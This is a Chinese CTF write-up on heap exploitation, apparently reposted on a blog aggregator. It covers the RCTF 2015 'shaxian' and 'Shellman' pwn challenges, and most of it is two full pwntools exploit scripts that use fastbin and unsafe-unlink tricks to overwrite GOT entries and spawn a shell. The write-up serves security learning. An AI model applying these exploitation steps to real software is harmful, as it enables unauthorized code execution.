深入解析CTF中的PWN挑战:Fastbin与堆溢出
作者:秘色瓷2502891691 | 来源:互联网 | 2024-12-21 18:09
本文将探讨2015年RCTF竞赛中的一道PWN题目——shaxian,重点分析其利用Fastbin和堆溢出的技巧。通过详细解析代码流程和漏洞利用过程,帮助读者理解此类题目的破解方法。
在本次分析中,我们将聚焦于2015年RCTF竞赛中的一道PWN题目——shaxian,探讨其关键点在于堆溢出技术的应用。首先,我们来看一下该题目的大致代码流程。 ![代码流程图](https://www.#.com/go/aHR0cHM6Ly9pbWFnZXMyMDE1LmNuYmxvZ3MuY29tL2Jsb2cvMTAyNDE5OC8yMDE3MDEvMTAyNDE5OC0yMDE3MDEwMTEwNDIwODEzMi05MTg0NTM4MDQucG5n) 从代码中可以看出,该题目主要依赖于Fastbin机制进行漏洞利用。由于分配堆之后直接进行写操作,因此使用了fastbin来实现任意读写功能。具体来说,通过覆盖now指针可以达到这一目的。 以下是针对此题目的EXP示例代码: ```python from pwn import * DEBUG = 1 LOCAL = 1 VERBOSE = 1 atoi_got = 0x804b038 if LOCAL: r = process('shaxian') else: r = remote('127.0.0.1', 1001) if DEBUG: gdb.attach(r) if VERBOSE: context(log_level='debug') def dcai(payload, number=0): r.sendline('1') r.recvuntil('Jianjiao') r.sendline(payload) r.recvuntil('How many?') r.sendline(str(number)) r.recvuntil('choose:') def submit(): r.sendline('2') r.recvuntil('Your order has been submitted!') r.recvuntil('choose:') r.recvuntil('Address:') r.sendline(p32(0) + p32(0x31)) r.recvuntil('Your Phone number:') r.sendline('a' * 0xf0 + p32(0) + p32(0x31)) r.recvuntil('choose:') payload = 'B' * 24 + p32(0) + p32(0x31) + p32(0x804b02c) # puts dcai(payload) r.sendline('4') r.recvuntil('* ') r.recvuntil('* ') puts = int(r.recvuntil('\n').strip('\n')) & 0xffffffff libc = puts - 0x657e0 print 'libc:', hex(libc) system = libc + 0x40310 print 'system:', hex(system) low8_system = (system <<8) % pow(2, 32) payload = 'C' * 24 + p32(0) + p32(0x31) + p32(0x804b1b8) dcai(payload) raw_input('before') submit() raw_input('after') payload = 'a' * 4 + p32(atoi_got - 1) dcai(payload, low8_system) r.sendline('/bin/sh') r.interactive() r.sendline('ls') r.recv() ``` 接下来,我们通过另一个PWN题目Shellman来进一步理解bins溢出的利用方法。这个题目与前文提到的freenote非常相似,但更加简化。以下是针对Shellman的EXP示例代码: ```python from pwn import * DEBUG = 0 LOCAL = 1 VERBOSE = 1 if LOCAL: p = process('./shellman') else: p = remote('127.0.0.1', 6666) if DEBUG: gdb.attach(p) if VERBOSE: context(log_level='debug') p.recvuntil('>') def list_(): p.sendline('1') k = p.recvuntil('>') return k def new(payload): p.sendline('2') p.recvuntil('Length of new shellcode:') p.sendline(str(len(payload))) p.recvuntil('Enter your shellcode(in raw format):') p.send(payload) p.recvuntil('>') def edit(payload, num=0): p.sendline('3') p.recvuntil('Shellcode number:') p.sendline(str(num)) p.recvuntil('Length of shellcode:') p.sendline(str(len(payload))) p.recvuntil('Enter your shellcode:') p.send(payload) p.recvuntil('>') def delete(num=0): p.sendline('4') p.recvuntil('Shellcode number:') p.sendline(str(num)) p.sendline(str(num)) first_size = 0x30 second_size = 0xa0 new('a' * first_size) # at 0x0079e010 new('b' * second_size) # at 0x0079e050 new('/bin/sh;') PREV_IN_USE = 0x1 prev_size_0 = p64(0) size_0 = p64(first_size | PREV_IN_USE) fd_0 = p64(0x006016d0 - 0x18) # bk offset bk_0 = p64(0x006016d0 - 0x10) # fd offset user_data = 'm' * (first_size - 0x20) # 0x20 = chunk header size prev_size_1 = p64(first_size) size_1 = p64((second_size + 0x10) & (~PREV_IN_USE)) # make first chunk free edit(prev_size_0 + size_0 + fd_0 + bk_0 + user_data + prev_size_1 + size_1) # begin delete(1) # after unlink then *0x6016d0 == 0x6016b8, let's corrupt 0x6016d0 with libc_free_got rubbish = 'whatthis' is_shellcode_exist = p64(0x1) shellcode_size = p64(0x8) libc_free_got = p64(0x00601600) edit(rubbish + is_shellcode_exist + shellcode_size + libc_free_got) free_address = list_().split(': ')[1][0:16] free_address = int(''.join(free_address[i:i+2] for i in range(14, -2, -2)), 16) print 'free_address:', hex(free_address) libc = free_address - 0x82d00 print 'libc_address:', hex(libc) system = libc + 0x46590 print 'system_address:', hex(system) edit(p64(system)) # just free delete(2) p.interactive() ``` 通过上述代码示例,我们可以更深入地理解PWN题目的解题思路和技术细节。希望这些内容能够帮助读者更好地掌握PWN挑战的核心技巧。
推荐阅读
本文详细介绍了Java中org.neo4j.helpers.collection.Iterators.single()方法的功能、使用场景及代码示例,帮助开发者更好地理解和应用该方法。 ...
[详细]
蜡笔小新 2024-12-28 10:51:55
golang常用库:配置文件解析库管理工具-viper使用-一、viper简介viper配置管理解析库,是由大神SteveFrancia开发,他在google领导着golang的 ...
[详细]
蜡笔小新 2024-12-28 13:47:52
本文将介绍如何编写一些有趣的VBScript脚本,这些脚本可以在朋友之间进行无害的恶作剧。通过简单的代码示例,帮助您了解VBScript的基本语法和功能。 ...
[详细]
蜡笔小新 2024-12-28 09:46:23
Explore a common issue encountered when implementing an OAuth 1.0a API, specifically the inability to encode null objects and how to resolve it. ...
[详细]
蜡笔小新 2024-12-28 08:54:34
本文基于刘洪波老师的《英文词根词缀精讲》,深入探讨了多个重要词根词缀的起源及其相关词汇,帮助读者更好地理解和记忆英语单词。 ...
[详细]
蜡笔小新 2024-12-27 18:59:50
1.如何在运行状态查看源代码?查看函数的源代码,我们通常会使用IDE来完成。比如在PyCharm中,你可以Ctrl+鼠标点击进入函数的源代码。那如果没有IDE呢?当我们想使用一个函 ...
[详细]
蜡笔小新 2024-12-27 18:36:54
本文详细介绍了如何使用 Yii2 的 GridView 组件在列表页面实现数据的直接编辑功能。通过具体的代码示例和步骤,帮助开发者快速掌握这一实用技巧。 ...
[详细]
蜡笔小新 2024-12-27 16:27:52
前言--页数多了以后需要指定到某一页(只做了功能,样式没有细调)html ...
[详细]
蜡笔小新 2024-12-27 15:19:01
本文详细介绍了Akka中的BackoffSupervisor机制,探讨其在处理持久化失败和Actor重启时的应用。通过具体示例,展示了如何配置和使用BackoffSupervisor以实现更细粒度的异常处理。 ...
[详细]
蜡笔小新 2024-12-27 15:04:09
本文深入探讨了如何通过多种技术手段优化ListView的性能,包括视图复用、ViewHolder模式、分批加载数据、图片优化及内存管理等。这些方法能够显著提升应用的响应速度和用户体验。 ...
[详细]
蜡笔小新 2024-12-28 10:36:30
本文详细介绍了 GWT 中 PopupPanel 类的 onKeyDownPreview 方法,提供了多个代码示例及应用场景,帮助开发者更好地理解和使用该方法。 ...
[详细]
蜡笔小新 2024-12-28 10:07:27
本文探讨了网络层的控制平面,包括转发和路由选择的基本原理。转发在数据平面上实现,通过配置路由器中的转发表完成;而路由选择则在控制平面上进行,涉及路由器中路由表的配置与更新。此外,文章还介绍了ICMP协议、两种控制平面的实现方法、路由选择算法及其分类等内容。 ...
[详细]
蜡笔小新 2024-12-27 22:54:11
本文详细介绍了如何创建一个具有动态效果的导航栏,包括HTML、CSS和JavaScript代码的实现,并附有详细的说明和效果图。 ...
[详细]
蜡笔小新 2024-12-27 19:42:28
本文介绍了如何使用JQuery实现省市二级联动和表单验证。首先,通过change事件监听用户选择的省份,并动态加载对应的城市列表。其次,详细讲解了使用Validation插件进行表单验证的方法,包括内置规则、自定义规则及实时验证功能。 ...
[详细]
蜡笔小新 2024-12-27 17:10:48
本文详细介绍了Java中org.eclipse.ui.forms.widgets.ExpandableComposite类的addExpansionListener()方法,并提供了多个实际代码示例,帮助开发者更好地理解和使用该方法。这些示例来源于多个知名开源项目,具有很高的参考价值。 ...
[详细]
蜡笔小新 2024-12-27 16:11:49
秘色瓷2502891691
这个家伙很懒,什么也没留下!